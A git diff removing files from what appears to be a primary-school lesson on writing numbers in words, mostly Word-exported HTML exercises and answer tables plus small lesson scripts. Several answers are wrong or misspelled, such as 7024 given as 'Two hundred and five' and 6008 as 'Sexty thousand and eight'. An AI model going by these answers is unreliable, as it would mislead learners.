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-      Eighteen
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-     <span lang="YO">
-      &nbsp;
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
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-      205
-     </span>
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-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
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-     <span lang="YO">
-      Two Hundered- five.
-     </span>
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-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      643
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Six Hundred forty-three
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      7024
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Two hundred and five
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      6008
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Sexty thousand and eight
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      44758
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Forty four thousands seven hundred fifty-eight
-      <span>
-       &nbsp;
-      </span>
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      52748
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Fifty two thousand seven hundred forty-eight.
-      <span>
-       &nbsp;
-      </span>
-     </span>
-    </p>
-   </td>
-  </tr>
- </tbody>
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- <span style="font-size: 12pt;">
-  <br />
-  <br />
-  3)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  Instruction:
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  XOs suggest that the student count the number of flower pot and flowers in each flower-pot.
-  <span>
-   &nbsp;
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-  Write the total numberof flowers in figures and in words.
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-   &nbsp;
-  </span>
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-  <img src="clip_image002.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
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- <span style="font-size: 12pt;" lang="YO">
-  &nbsp;
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  <br />
-  4)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  Instruction:
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  XOs suggest writing
- </span>
- <span style="font-size: 12pt;">
-  the following numbers in words or figures:
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-   Thirty
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-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   five thousand four hundred sixty-two
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Sixty hundred and one
-  </span>
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- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Thirty
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   nine thousand and four
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Eighty
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   eight thousand nine hundred forty-five
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   30 006
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   75
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   654
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   15748
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   30
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   647
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   20
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-  </span>
-  <span style="font-size: 12pt;">
-   657
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   <span>
-   </span>
-   35700
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
-</ol>
-<p>
- <br />
- <br />
- <br />
-</p>
-<div style="text-align: left;">
- <ul>
-  <li>
-   <table style="width: 288px; height: 44px;" border="1">
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-    </tbody>
-   </table>
-  </li>
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-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m02/map411m02a02/description.py b/Save_Mathematics/P4/map411m02/map411m02a02/description.py
deleted file mode 100644
index 8b5acec..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m02a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m02/map411m02a02/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a02/lesson.js
deleted file mode 100644
index 2269f06..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m02/map411m02a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m02/map411m02a02/source.txt b/Save_Mathematics/P4/map411m02/map411m02a02/source.txt
deleted file mode 100644
index 3f639a9..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a02/source.txt
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-<!--[endif]-->
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  As seen in introduction,
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  counting and
- </span>
- <span style="font-size: 12pt;">
-  place value of digits in numbers and numbers' expanded form notation are prerequisites to reading and writing whole numbers.
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  Let's see how to write numbers in words by using the above knowledge:
-  <br />
-  <br />
- </span>
- <strong>
-  <span lang="YO">
-   To remember :
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; line-height: normal;">
- <span style="font-size: 12pt;">
-  <span>
-   a)
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span>
-  First, it
- </span>
- <span lang="YO">
-  is good to know
- </span>
- <span>
-  the spelling of small numbers, since larger numbers are built upon those numbers.
- </span>
- <span style="font-size: 12pt;">
-  &nbsp;
- </span>
-</p>
-<ul type="disc">
- <li>
-  &nbsp;
-  <ul type="circle">
-   <li class="MsoNormal" style="line-height: normal;">
-    <span lang="YO">
-     O
-    </span>
-    <span>
-     ne, two, three, four, five, six, seven, eight, nine, ten, eleven, twelve, thirteen, fourteen, fifteen, sixteen, seventeen, eighteen, nineteen, and twenty
-     <br />
-     <br />
-    </span>
-    <span style="font-size: 12pt;">
-     &nbsp;
-    </span>
-   </li>
-  </ul>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in;">
- <span lang="YO">
-  <span>
-   b)
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span lang="YO">
-  There is hyphen ONLY once we pass twenty ( between tens and ones). There is not hyphen between thousands , hundreds and tens.
-  <span>
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in;">
- <span lang="YO">
-  <span>
-   23
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span lang="YO">
-  (Twenty-three),
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in;">
- <span lang="YO">
-  <span>
-   342
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span lang="YO">
-  (Three hundred forty-two )
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 1.25in;">
- <span lang="YO">
-  93458 (Ninty three thousands four hundred fifty-eight)
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in;">
- <span lang="YO">
-  <span>
-   c)
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span lang="YO">
-  There is AND each time 0 is a digit which represent place value of a number exceeding 100 and if 0 is not the last digit.
-  <span>
-   &nbsp;
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin: 0in 0in 0.0001pt 0.5in; line-height: normal;">
- <span lang="YO">
-  (Instruction: XOs asks each student)
-  <span>
-   &nbsp;
-  </span>
- </span>
- <span lang="YO">
-  to write his /her age in numbers and words.
-  <span style="color: red;">
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin: 0in 0in 0.0001pt 0.5in; line-height: normal;">
- <span lang="YO">
-  (Instruction: XOs asks each student)
- </span>
- <span lang="YO">
-  to write the year he/she was born.
-  <span style="color: red;">
-  </span>
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    18
-   </span>
-   <span style="font-size: 12pt;">
-    <span lang="YO">
-     (Eighteen)
-    </span>
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    <span>
-    </span>
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    64
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    3(Six Hundred Forty-three )
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;" lang="YO">
-    205(Two Hundred and Five)
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
-</ul>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    7
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    02
-   </span>
-   <span style="font-size: 12pt;">
-    4
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    6
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    008
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    738
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    0
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    44
-   </span>
-   <span style="font-size: 12pt;">
-   </span>
-   <span style="font-size: 12pt;">
-    758
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    52748
-   </span>
-   <span style="font-size: 12pt;">
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
-</ul>
-<p class="MsoNormal" style="line-height: normal;">
- <strong>
-  <span lang="YO">
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <strong>
-  <span lang="YO">
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <strong>
-  <span lang="YO">
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <strong>
-  <span>
-   Solutions
-  </span>
- </strong>
- <strong>
-  <span lang="YO">
-   &nbsp;
-  </span>
- </strong>
-</p>
-<table class="MsoNormalTable" style="border: medium none; border-collapse: collapse;" border="1" cellspacing="0" cellpadding="0" width="451">
- <tbody>
-  <tr>
-   <td style="border: 1pt solid black; padding: 0in 5.4pt; width: 140.1pt;" colspan="3" width="187" valign="top">
-    <p class="MsoNormal" style="text-align: center; line-height: normal;">
-     <span lang="YO">
-      Thousands
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: 1pt 1pt 1pt medium solid solid solid none black black black -moz-use-text-color;" colspan="3" width="265" valign="top">
-    <p class="MsoNormal" style="text-align: center; line-height: normal;">
-     <span lang="YO">
-      Units
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Hundreds
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Tens
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Ones
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Hundreds
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Tens
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Ones
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      1
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      8
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      6
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      3
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      2
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      0
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      5
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      7
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      0
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      2
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      6
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      0
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      0
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      8
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      7
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      5
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      8
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      5
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      2
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      7
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      8
-     </span>
-    </p>
-   </td>
-  </tr>
- </tbody>
-</table>
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<table class="MsoNormalTable" style="border: medium none; border-collapse: collapse;" border="1" cellspacing="0" cellpadding="0" width="451">
- <tbody>
-  <tr>
-   <td style="border: 1pt solid black; padding: 0in 5.4pt; width: 140.1pt;" width="187" valign="top">
-    <p class="MsoNormal" style="text-align: center; line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      Numbers in words
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: 1pt 1pt 1pt medium solid solid solid none black black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="text-align: center; line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      Numbers in words
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
